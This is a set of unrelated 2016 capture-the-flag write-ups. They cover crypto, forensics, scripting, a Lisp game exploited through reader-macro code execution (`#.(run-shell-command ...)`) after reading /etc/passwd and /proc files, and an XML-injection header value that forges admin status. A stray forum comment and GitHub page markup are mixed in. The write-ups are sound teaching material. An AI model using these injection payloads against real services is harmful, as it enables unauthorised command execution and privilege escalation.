**Category:** code |**Points:** 50 |**Name:** A numbers game |**Solves:** 407 |**Description:**
> People either love or hate math. Do you love it? Prove it! You just need to solve a bunch of equations without a mistake.>> Service: 188.166.133.53:11027
___
## Write-up
### Part ZeroWe were given a service which we connect using python sockets.
```import sockets = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect(('188.166.133.53',11027))data = s.recv(2048)print data```
And we get the first part```Hi, I heard that you're good in math. Prove it!Level 1.: x - 2 = 6```
### Part OneThe quesion is split by spaces, so it seemed easiest to use .split on the string to convert it to an array.```data = s.recv(512)question = data.split(' ')print question```
### Part Two
Using a if else for each of + - / *, solving the math equation is easy.```if question[3] == "-": s.send(str(int(question[4]) + int(question[6])) + "\n") elif question[3] == "+": s.send(str(int(question[6]) - int(question[4])) + "\n") elif question[3] == "*": s.send(str(int(question[6]) / int(question[4])) + "\n") elif question[3] == "/": s.send(str(int(question[6]) * int(question[4])) + "\n")```
We get the flag after 100 solves we get the flag:```IW{M4TH_1S_34SY}```
[See full script here](src/code50.py) |
Find on: http://www.mypalmbeachpost.com/news/news/crime-law/wendys-alligator-thrower-is-only-fulfilling-his-f...Comment of Summerc137 there is 2 days agoMay the Lord have mercy on this man. That poor woman in the drivethrough! sun{1s_th1s_even_real_l1fe?} |
# Forensics 150: Cat Video
We are given an mp4 video of colorful static. You can see motion in the static as it plays, but it's not clear what it is.
My first thought was to average all of the frames together and see if the shapes were clear, but it didn't work.Another common method of hiding something in an image/video is to xor it with a key, another image, etc. So I wrote up a Matlab script to xor the first half of the video together:```v = VideoReader('catvideo.avi');n = v.NumberOfFrames;d = read(v, 1);for f=2:2:n/2 i = read(v, f); d = bitxor(d,i);endimshow(d)```
That didn't work out, but after playing with the numbers a bit I ended up trying a few different frames manually.This is the result of xor(frame1, frame1000):```v = VideoReader('catvideo.avi');n = v.NumberOfFrames;d = read(v, 1);d = bitxor(d, read(v, 1000));imshow(d)```
![](catvideo.jpg)
and that's the flag: BCTF{cute&fat_cats_does_not_like_drinking} |
## des ofb (crypto, 2 points, 189 solves) Decrypt the message, find the flag, and then marvel at how broken everything is.
We were given encryption code and a ciphertext. It used DES cipher in OFB mode. OFB meansthat IV was encrypted using key, its result then encrypted using the key again, then againand so on. Ciphertext is obtained through xoring those encrypted blocks with plaintext.Longer description is available on [Wikipedia](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Output_Feedback_.28OFB.29).
Code was very simple and DES cipher is not easily breakable, so we looked into hex dump ofciphertext:```00000000 70 2b 7b ef 93 27 53 d3 43 13 5c 5b 41 16 43 57 |p+{..'S.C.\[A.CW|00000010 04 26 3e a1 d6 7f 1b dd 45 13 5b 47 15 42 5f 5d |.&>.....E.[G.B_]|00000020 04 35 2e e8 85 7f 1a d3 5f 09 38 63 5d 53 43 50 |.5......_.8c]SCP|00000030 41 36 7b aa 82 62 00 9c 7f 5c 50 58 50 44 17 51 |A6{..b...\PXPD.Q|00000040 4a 64 2f e5 93 2b 1e d5 5f 57 12 40 5a 16 44 4d |Jd/[email protected]|00000050 42 22 3e ff fc 5f 1b d9 11 60 5e 5d 5b 51 44 18 |B">.._...`^][QD.|00000060 45 2a 3f ad b7 79 01 d3 46 40 12 5b 53 16 58 4d |E*?..y..F@.[S.XM|00000070 50 36 3a ea 93 64 06 cf 11 75 5d 46 41 43 59 5d |P6:..d...u]FACY]|00000080 08 4e 14 ff d6 7f 1c 9c 45 52 59 51 15 77 45 55 |.N......ERYQ.wEU|00000090 57 64 3a ea 97 62 1d cf 45 13 53 14 66 53 56 18 |Wd:..b..E.S.fSV.|000000a0 4b 22 7b f9 84 64 06 de 5d 56 41 18 3f 77 59 5c |K"{..d..]VA.?wY\|000000b0 04 26 22 ad 99 7b 03 d3 42 5a 5c 53 15 53 59 5c |.&"..{..BZ\S.SY\|```This is just the beginning, but there are obvious patterns - for example every characterin 4th and 5th columns were unprintable. This should not happen if we used secure cipher,so there must have been some problem. As DES used 8-byte blocks and ciphertext hadpattern with period of 16, that means DES used a particularly bad key, which made the keystreamperiodic with period of 2, i.e. `DES(DES(IV, key), key)==IV`.
What that means, is that we can treat the ciphertext as xored with 16-byte key. Using simpleheuristic (most frequent character in each column was likely space), we managed to decryptmost of the plaintext. We then fixed the rest of the key manually - full code available in`decrypt.py`. The plaintext was Hamlet's beginning, with flag appended. |
#Insomni'hack CTF 2016 : Robots
##Write-up
###First part :This challenge is about the famous game called [robots](https://en.wikipedia.org/wiki/Robots_%28computer_game%29).Service is running on `robots.insomni.hack:4242`. In the first part of this challenge, you have to won the game in order to get a prompt like this : `r to read a file, c to play again, q to quit`
###Second part:You can read the `/etc/passwd` file and find two username which can be useful (or not) : `robots` and `robots_pwned`.In order to know the user which run the service, we can read this file : `/proc/self/environ`. The user running the service is `robots`.After some research, it was impossible to find something in the home directory of theses users.It is possible to know which file is used for this service with the `/proc/self/cmdline` and get this kind of ouput : `/usr/bin/myprog\0foo bar\0baz`. The output was concatened but the last part was the name of the script : `robots.lisp`
With this information, you can get the source code of the game : [pastebin](http://pastebin.com/EzsPiFrs)
###Third part :With the source code, we can now understand how it works, a common way to exploit lisp script is the following :
*Theoretically LispInjection could be to lisp-driven applications what SqlInjection is to databases-- a common programming error that results in security holes. LispInjection could happen if the application allows a user to enter values (such as via a form) that the application concatenates into a string containing a Lisp statement that is later "run as code", after all an important part of Lisp philosophy is that "code is data and data is code".* [wiki](http://c2.com/cgi/wiki?LispInjection)
So, after some analysis, the vulnerables part of this script is at line 21 and 50 (prompt to read file and prompt to move on the game) with the "read" instruction which will execute our input as code. So, we can use this kind of command in order to verify the correct execution of our input : `#.(ext:run-program "find")` like this :
```r to read a file, c to play again, q to quit#.(ext:run-program "find")```
output :```../getflag./getflag/flag./getflag/read_flag./robots.lispInvalid command```
It works :D so, the last thing to do is to read the flag with the read_flag binary like this :`#.(ext:run-program "./getflag/read_flag")`and get the flag !
Enjoy, thanks to my teammate Beuc for the help.[Rawger](https://twitter.com/_rawger) |
## Robots (misc)
###ENG[PL](#pl-version)
We get netcat address where we can play a game after connecting.The game was: https://en.wikipedia.org/wiki/Robots_%28computer_game%29The goal of the game was to avoid robots chasing our character and cause them to crash into each other.After winning the game we get the ability to read contents of the file in the filesystem.
With this power we proceed with reading:
```/proc/self/environ/etc/rsyslog.conf/proc/self/cmdline/proc/self/exe```
Reading `cmdline` was very interesting since it told us that the game is written in LISP and we also got the name of the script.Therefore we read the contents of the script:
```lisp> robots.lisp(import 'charset:utf-8 'keyword)
; Original code: http://landoflisp.com/robots.lisp
; To get the flag you'll have to get a shell...
(defun readfile (file) (let ((in (open file :if-does-not-exist nil))) (when in (loop for line = (read-line in nil) while line do (format t "~a~%" line)) (close in))))
(defun win () (format t (colorize 'green "~%Congratulations, you won!!!")) (loop (format t "~%What do you want to do?") (format t "~%~{~a to read a file, ~a to play again, ~a to quit~}~%> " (mapcar (lambda (x) (colorize 'green x)) '("r" "c" "q"))) (setq c (read)) (ccase c ('r (progn (format t "File? (FYI flag is not in \"flag\", \"key\", etc.)~%> ") (readfile (read-line)))) ('c (return 1)) ('q (return 0)))))
(defun fail () (format t (colorize 'red "You lost!")) 0)
(defun colorize (color text) (setq colors '((gray . 30) (red . 31) (green . 32) (yellow . 33) (blue . 34)))
(format nil "~c[1;~am~a~c[0m" #\ESC (cdr (assoc color colors)) text #\ESC))
(defun play-game () "Returns 1 if player won and wishes to continue, 0 otherwise" (loop named main with directions = '((q . -65) (w . -64) (e . -63) (a . -1) (d . 1) (z . 63) (x . 64) (c . 65)) for pos = 544 then (progn (format t "~%~{~a/~a/~a to move, (~a)eleport, (~a)eave: ~}" (mapcar (lambda (x) (colorize 'blue x)) '("qwe" "asd" "zxc" "t" "l"))) (force-output) (let* ((c (read)) (d (assoc c directions))) (cond (d (+ pos (cdr d))) ((eq 't c) (random 1024)) ((eq 'l c) (progn (format t (colorize 'yellow "Good-bye!")) (return-from main 0))) (t pos))))
for monsters = (loop repeat 40 collect (random 1024)) then (loop for mpos in monsters collect (if (> (count mpos monsters) 1) mpos (cdar (sort (loop for (k . d) in directions for new-mpos = (+ mpos d) collect (cons (+ (abs (- (mod new-mpos 64) (mod pos 64))) (abs (- (ash new-mpos -6) (ash pos -6)))) new-mpos)) '< :key #'car)))) do (progn (format t "~a~%�~{~<�~%�~,650:;~a~>~}�~a" (format nil "~%-~{~<-~%-~,650:;~64,1,1,'=A~>~}�" '("? GAME ?")) (loop for p below 1024 collect (cond ((member p monsters) (cond ((= p pos) (return-from main (fail))) ((> (count p monsters) 1) (colorize 'yellow #\?)) (t (colorize 'red #\?)))) ((= p pos) (colorize 'green #\�)) (t (colorize 'gray #\ )))) (format nil "~%L~{~<-~%-~,650:;~64,1,1,'=A~>~}-" '(""))) ) when (loop for mpos in monsters always (> (count mpos monsters) 1)) return (win) ))
(handler-case (loop while (= (play-game) 1)) (error (e) (write-line "Invalid command")))```
And we started with analysis of this code to check for some vulnerabilities.There are only 3 places where we provide input so we focused on those.They were using `read` function so we tried to find if it can be exploited.Then we found this document: http://irreal.org/blog/?p=638
It was exactly what we needed!By sending payloads:
```#.(lisp_code)```
We get remote code execution.With this we checked how to execute shell commands from LISP and used:
```#.(run-shell-command "ls")```
To find the flag in `/getflag/flag` and also a binary `getflag/read_flag` with rights to read it.We run it:
```#.(run-shell-command "./getflag/read_flag")```
To read the flag.
###PL version
Dostajemy adres IP do połączenia za pomocą netcata pod którym możemy zagrać w grę.Gra to: https://en.wikipedia.org/wiki/Robots_%28computer_game%29Celem gry jest unikanie goniących nas robotów i powodowanie żeby roboty wpadały na siebie.Po wygraniu gry dostajemy możliwość przeczytania zawartości pliku z dysku.
Możliwość czytania z plików wykorzystujemy do przeczytania:
```/proc/self/environ/etc/rsyslog.conf/proc/self/cmdline/proc/self/exe```
Czytanie `cmdline` było bardzo ciekawe ponieważ powiedziało nam że gra jest napisana w LISPie a także jak nazywa się skrypt.Dzięki temu mogliśmy odczytać źródło skryptu:
```lisp> robots.lisp(import 'charset:utf-8 'keyword)
; Original code: http://landoflisp.com/robots.lisp
; To get the flag you'll have to get a shell...
(defun readfile (file) (let ((in (open file :if-does-not-exist nil))) (when in (loop for line = (read-line in nil) while line do (format t "~a~%" line)) (close in))))
(defun win () (format t (colorize 'green "~%Congratulations, you won!!!")) (loop (format t "~%What do you want to do?") (format t "~%~{~a to read a file, ~a to play again, ~a to quit~}~%> " (mapcar (lambda (x) (colorize 'green x)) '("r" "c" "q"))) (setq c (read)) (ccase c ('r (progn (format t "File? (FYI flag is not in \"flag\", \"key\", etc.)~%> ") (readfile (read-line)))) ('c (return 1)) ('q (return 0)))))
(defun fail () (format t (colorize 'red "You lost!")) 0)
(defun colorize (color text) (setq colors '((gray . 30) (red . 31) (green . 32) (yellow . 33) (blue . 34)))
(format nil "~c[1;~am~a~c[0m" #\ESC (cdr (assoc color colors)) text #\ESC))
(defun play-game () "Returns 1 if player won and wishes to continue, 0 otherwise" (loop named main with directions = '((q . -65) (w . -64) (e . -63) (a . -1) (d . 1) (z . 63) (x . 64) (c . 65)) for pos = 544 then (progn (format t "~%~{~a/~a/~a to move, (~a)eleport, (~a)eave: ~}" (mapcar (lambda (x) (colorize 'blue x)) '("qwe" "asd" "zxc" "t" "l"))) (force-output) (let* ((c (read)) (d (assoc c directions))) (cond (d (+ pos (cdr d))) ((eq 't c) (random 1024)) ((eq 'l c) (progn (format t (colorize 'yellow "Good-bye!")) (return-from main 0))) (t pos))))
for monsters = (loop repeat 40 collect (random 1024)) then (loop for mpos in monsters collect (if (> (count mpos monsters) 1) mpos (cdar (sort (loop for (k . d) in directions for new-mpos = (+ mpos d) collect (cons (+ (abs (- (mod new-mpos 64) (mod pos 64))) (abs (- (ash new-mpos -6) (ash pos -6)))) new-mpos)) '< :key #'car)))) do (progn (format t "~a~%�~{~<�~%�~,650:;~a~>~}�~a" (format nil "~%-~{~<-~%-~,650:;~64,1,1,'=A~>~}�" '("? GAME ?")) (loop for p below 1024 collect (cond ((member p monsters) (cond ((= p pos) (return-from main (fail))) ((> (count p monsters) 1) (colorize 'yellow #\?)) (t (colorize 'red #\?)))) ((= p pos) (colorize 'green #\�)) (t (colorize 'gray #\ )))) (format nil "~%L~{~<-~%-~,650:;~64,1,1,'=A~>~}-" '(""))) ) when (loop for mpos in monsters always (> (count mpos monsters) 1)) return (win) ))
(handler-case (loop while (= (play-game) 1)) (error (e) (write-line "Invalid command")))```
Następnie zaczęliśmy analizę kodu w poszukiwaniu podatności.W kodzie są tylko 3 miejsca gdzie podajemy jakieś dane więc skupiliśmy się na nich.Dane są wczytywane za pomocą funkcji `read` więc szukaliśmy informacji na temat exploitowaniu jej.Trafiliśmy na: http://irreal.org/blog/?p=638
I to było dokładnie to czego potrzebowaliśmy!Wysyłając:
```#.(lisp_code)```
Dostajemy remote code execution.Następnie sprawdziliśmy jak wykonywać komendy shell z poziomu LISPa i wysłaliśmy:
```#.(run-shell-command "ls")```
Aby znaleźć falgę w `/getflag/flag` oraz program `getflag/read_flag` z uprawnieniami do odczytania flagi;Uruchamiamy go:
```#.(run-shell-command "./getflag/read_flag")```
Aby odczytać flagę |
#YACST2
> Captcha is a modern simple Turing test for everyday use, for human> it's simple, but for bot or a simple neural network captcha can become> a hard nut to crack.> > You can try to solve it with your AI too, but it definitely can be> solved with several lines of code, isn’t it?> > [link](http://yacst2.2016.volgactf.ru:8090/)> > Hints> > [gist](https://gist.github.com/volalex/799789663f8c29f1bb58)> > [gist2](https://gist.github.com/volalex/4c62beaa721807dbc139) Adding a> Noise
**Algorithm**
1. Send request to the site, get remaining number of captchas.2. Download captcha using **curl** (don't ask me why!).3. Send it to the *Google Speech Recognizer* using python module **speech_recognition**4. Send numbers to the server.5. Repeat until you receive flag.
[solve.py](./solve.py)
It took 4 hours to solve 3k captchas. But last captcha I had to solve by myself (for sure :).
Flag is:
> VolgaCTF{Sound IS L1ke M@th if A+B=C THEN C-B=A} |
#Amazing
> An important step towards the strong AI is the ability of an> artificial agent to solve a well-defined problem. A project by the> name 'amazing' was one of such test problems. It's still up...> > **nc amazing.2016.volgactf.ru 45678**
***Scouting phase***
Use BFS to find all hidden cells reachable from current position. Add them to the stack. Repeat until stack is not empty or until there are no hidden cells on the map.
***Solving phase***
When we scouted all maze, use BFS to find the path to the very right/bottom cell.Go there and make move to the right.
***Repeat until you get flag***
[solve.py](./solve.py)
[First round in bot's eyes](http://pastebin.com/RQmP1EDr)
After 30 rounds I got the flag:
> VolgaCTF{eurisco!} |
## Free Web Access (Web)
###ENG[PL](#pl-version)
In the task we get access to a proxy-gate service.The task description states that this gate is not really anonymous and that it stores some data.However there is no registration nor accounts.There is `/admin` subpage but it says that we're not the admin so we can't access it.This implies that the page somehow checks who is the admin, and we need to fool this mechanism.
The website prints in a visible way our IP address and since it's a proxy service we come up with the idea to check how it will consider `X-Forwarded-For` header.As we expected, the page prints the specified address as our IP.We assumed that we just need to use localhost as our IP and this will get us past the admin check, but it didn't.
Then we figured that maybe we can put some code in our spoofed IP address and this way exploit the page.We started with a standard PHP exploit: `` which didn't work, since the page was running on Python.But it did crash the page, showing us a very verbose error trace:
![](error.png)
The interesting part was what crashed the XML parser:
`<session><ip></ip><admin>false</admin></session>`
It seems that the page creates a session string based on our data and then parses it via XML.
Therefore we can simply pass XML as our IP: `1.2.3.4</ip><admin>true</admin><ip>4.3.2.1`
Which in result will generate session XML:
`<session><ip>1.2.3.4</ip><admin>true</admin><ip>4.3.2.1</ip><admin>false</admin></session>`
And we expect this will be enough to get past the admin check. And it did:
![](admin.png)
`CTF-BR{1s_Pr1v4Cy_4_DR34M_?}`
###PL version
W zadaniu dostajemy dostęp do bramki-proxy.W opisie zadania jest informacja że bramka nie jest wcale anonimowa i że agreguje dane.Nie ma tam jednak żadej rejestracji ani logowania.Jest coś pod adresem `/admin` ale pojawia sie informacja że nie jesteśmy administratorem.To oznacza że istnieje mechanizm sprawdzania czy ktoś jest adminem i musimy go jakoś oszukać.
Strona w widocznym miejscu pokazuje nasz adres IP oraz jest to serwis proxy więc przychodzi nam na myśl sprawdzenie co się stanie jeśli podamy nagłówek `X-Forwarded-For`.Zgodnie z naszymi oczekiwaniami strona pokazuje nasz zmieniony adres w miejscu adresu IP.Początkowo liczyliśmy na to, że wystarczy udawać że nasze IP to localhost aby przejść test na admina, ale nie powiodło się to.
Następnie pomyśleliśmy, że może jesteśmy w stanie przemycić jakiś kod w naszym spoofowanym IP i w ten sposób exploitować stronę.Zaczęliśmy od standardowego exploita na PHP: `` który nie zadziałał, bo strona była w Pythonie.Niemniej przypadkiem ten kod wysypał parser XML pokazując nam dość ładny trace:
![](error.png)
Interesujące jest to co wysypało parser XML:
`<session><ip></ip><admin>false</admin></session>`
Wygląda na to, że strona tworzy sobie string sesji na podstawie naszych danych a następnie parsuje go jako XML.
To oznacza że możeym jako IP podać: `1.2.3.4</ip><admin>true</admin><ip>4.3.2.1`
Co utworzy string sesji:
`<session><ip>1.2.3.4</ip><admin>true</admin><ip>4.3.2.1</ip><admin>false</admin></session>`
Oczekiwaliśmy że taki string wystarczy do przejścia sprawdzenia uprawnień admina i się udało:
![](admin.png)
`CTF-BR{1s_Pr1v4Cy_4_DR34M_?}` |
<html lang="en"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars0.githubusercontent.com"> <link rel="dns-prefetch" href="https://avatars1.githubusercontent.com"> <link rel="dns-prefetch" href="https://avatars2.githubusercontent.com"> <link rel="dns-prefetch" href="https://avatars3.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/">
<link crossorigin="anonymous" media="all" integrity="sha512-FG+rXqMOivrAjdEQE7tO4BwM1poGmg70hJFTlNSxjX87grtrZ6UnPR8NkzwUHlQEGviu9XuRYeO8zH9YwvZhdg==" rel="stylesheet" href="https://github.githubassets.com/assets/frameworks-146fab5ea30e8afac08dd11013bb4ee0.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-iXrV/b4ypc1nr10b3Giikqff+qAx5osQ0yJRxHRDd8mKFefdMtEZ0Sxs1QysJxuJBayOKThjsuMjynwBJQq0aw==" rel="stylesheet" href="https://github.githubassets.com/assets/site-897ad5fdbe32a5cd67af5d1bdc68a292.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-whtr9xYX7utnpWsNSLW7XLm7eJONfryMwfwxIH2SpIRKCZbx4aryDfn/HGMFI5Fee7dogmqmtqvPPh13+2HW2Q==" rel="stylesheet" href="https://github.githubassets.com/assets/github-c21b6bf71617eeeb67a56b0d48b5bb5c.css" />
<meta name="viewport" content="width=device-width"> <title>write-ups-2016/README.md at pwn2win-ctf-2016 · epicleet/write-ups-2016 · GitHub</title> <meta name="description" content="Wiki-like CTF write-ups repository, maintained by the community. 2016 - epicleet/write-ups-2016"> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528">
<meta name="twitter:image:src" content="https://avatars2.githubusercontent.com/u/18104388?s=400&v=4" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary" /><meta name="twitter:title" content="epicleet/write-ups-2016" /><meta name="twitter:description" content="Wiki-like CTF write-ups repository, maintained by the community. 2016 - epicleet/write-ups-2016" /> <meta property="og:image" content="https://avatars2.githubusercontent.com/u/18104388?s=400&v=4" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="epicleet/write-ups-2016" /><meta property="og:url" content="https://github.com/epicleet/write-ups-2016" /><meta property="og:description" content="Wiki-like CTF write-ups repository, maintained by the community. 2016 - epicleet/write-ups-2016" />
<link rel="assets" href="https://github.githubassets.com/">
<meta name="request-id" content="ED62:227E1:230609B:3319703:5E8A05BA" data-pjax-transient="true"/><meta name="html-safe-nonce" content="2aa10952459abd525636b684ae8936c1d4be61aa" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJFRDYyOjIyN0UxOjIzMDYwOUI6MzMxOTcwMzo1RThBMDVCQSIsInZpc2l0b3JfaWQiOiI4MTU0OTE4NjcyMDk2OTUzNzg2IiwicmVnaW9uX2VkZ2UiOiJhbXMiLCJyZWdpb25fcmVuZGVyIjoiYW1zIn0=" data-pjax-transient="true"/><meta name="visitor-hmac" content="a0693e8428945205778bbd5664dc9280ddfa094564a5f62467e606d715015349" data-pjax-transient="true"/>
<meta name="github-keyboard-shortcuts" content="repository,source-code" data-pjax-transient="true" />
<meta name="selected-link" value="repo_source" data-pjax-transient>
<meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc">
<meta name="octolytics-host" content="collector.githubapp.com" /><meta name="octolytics-app-id" content="github" /><meta name="octolytics-event-url" content="https://collector.githubapp.com/github-external/browser_event" /><meta name="octolytics-dimension-ga_id" content="" class="js-octo-ga-id" /><meta name="analytics-location" content="/<user-name>/<repo-name>/blob/show" data-pjax-transient="true" />
<meta name="google-analytics" content="UA-3769691-2">
<meta class="js-ga-set" name="dimension1" content="Logged Out">
<meta name="hostname" content="github.com"> <meta name="user-login" content="">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="MARKETPLACE_FEATURED_BLOG_POSTS,MARKETPLACE_INVOICED_BILLING,MARKETPLACE_SOCIAL_PROOF_CUSTOMERS,MARKETPLACE_TRENDING_SOCIAL_PROOF,MARKETPLACE_RECOMMENDATIONS,MARKETPLACE_PENDING_INSTALLATIONS,RELATED_ISSUES">
<meta http-equiv="x-pjax-version" content="80ebc3286fe9d88acaddc1320106dfc2">
<link href="https://github.com/epicleet/write-ups-2016/commits/pwn2win-ctf-2016.atom" rel="alternate" title="Recent Commits to write-ups-2016:pwn2win-ctf-2016" type="application/atom+xml">
<meta name="go-import" content="github.com/epicleet/write-ups-2016 git https://github.com/epicleet/write-ups-2016.git">
<meta name="octolytics-dimension-user_id" content="18104388" /><meta name="octolytics-dimension-user_login" content="epicleet" /><meta name="octolytics-dimension-repository_id" content="54845624" /><meta name="octolytics-dimension-repository_nwo" content="epicleet/write-ups-2016" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="true" /><meta name="octolytics-dimension-repository_parent_id" content="48103176" /><meta name="octolytics-dimension-repository_parent_nwo" content="ctfs/write-ups-2016" /><meta name="octolytics-dimension-repository_network_root_id" content="48103176" /><meta name="octolytics-dimension-repository_network_root_nwo" content="ctfs/write-ups-2016" /><meta name="octolytics-dimension-repository_explore_github_marketplace_ci_cta_shown" content="false" />
<link rel="canonical" href="https://github.com/epicleet/write-ups-2016/blob/pwn2win-ctf-2016/pwn2win-ctf-2016/web/bathing-and-grooming-400/README.md" data-pjax-transient>
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327">
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive page-blob">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span> </span>
<header class="Header-old header-logged-out js-details-container Details position-relative f4 py-2" role="banner"> <div class="container-lg d-lg-flex flex-items-center p-responsive"> <div class="d-flex flex-justify-between flex-items-center"> <svg height="32" class="octicon octicon-mark-github text-white" viewBox="0 0 16 16" version="1.1" width="32" aria-hidden="true"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg>
<div class="d-lg-none css-truncate css-truncate-target width-fit p-2"> <svg class="octicon octicon-repo-forked" viewBox="0 0 10 16" version="1.1" width="10" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 1a1.993 1.993 0 00-1 3.72V6L5 8 3 6V4.72A1.993 1.993 0 002 1a1.993 1.993 0 00-1 3.72V6.5l3 3v1.78A1.993 1.993 0 005 15a1.993 1.993 0 001-3.72V9.5l3-3V4.72A1.993 1.993 0 008 1zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3 10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3-10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z"></path></svg> epicleet / write-ups-2016
</div>
<div class="d-flex flex-items-center"> Sign up
<button class="btn-link d-lg-none mt-1 js-details-target" type="button" aria-label="Toggle navigation" aria-expanded="false"> <svg height="24" class="octicon octicon-three-bars text-white" viewBox="0 0 12 16" version="1.1" width="18" aria-hidden="true"><path fill-rule="evenodd" d="M11.41 9H.59C0 9 0 8.59 0 8c0-.59 0-1 .59-1H11.4c.59 0 .59.41.59 1 0 .59 0 1-.59 1h.01zm0-4H.59C0 5 0 4.59 0 4c0-.59 0-1 .59-1H11.4c.59 0 .59.41.59 1 0 .59 0 1-.59 1h.01zM.59 11H11.4c.59 0 .59.41.59 1 0 .59 0 1-.59 1H.59C0 13 0 12.59 0 12c0-.59 0-1 .59-1z"></path></svg> </button> </div> </div>
<div class="HeaderMenu HeaderMenu--logged-out position-fixed top-0 right-0 bottom-0 height-fit position-lg-relative d-lg-flex flex-justify-between flex-items-center flex-auto"> <div class="d-flex d-lg-none flex-justify-end border-bottom bg-gray-light p-3"> <button class="btn-link js-details-target" type="button" aria-label="Toggle navigation" aria-expanded="false"> <svg height="24" class="octicon octicon-x text-gray" viewBox="0 0 12 16" version="1.1" width="18" aria-hidden="true"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48L7.48 8z"></path></svg> </button> </div>
<nav class="mt-0 px-3 px-lg-0 mb-5 mb-lg-0" aria-label="Global"> <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Why GitHub? <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded-1 bg-white px-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Features <span>→</span> Code review Project management Integrations Actions Packages Security Team management Hosting
Customer stories <span>→</span> Security <span>→</span> </div> </details> Enterprise
<details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Explore <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary>
<div class="dropdown-menu flex-auto rounded-1 bg-white px-0 pt-2 pb-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Explore GitHub <span>→</span>
<h4 class="text-gray-light text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Learn & contribute</h4> Topics Collections Trending Learning Lab Open source guides
<h4 class="text-gray-light text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Connect with others</h4> Events Community forum GitHub Education </div> </details>
Marketplace
<details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Pricing <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary>
<div class="dropdown-menu flex-auto rounded-1 bg-white px-0 pt-2 pb-4 mt-0 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Plans <span>→</span>
Compare plans Contact Sales
Nonprofit <span>→</span> Education <span>→</span> </div> </details> </nav>
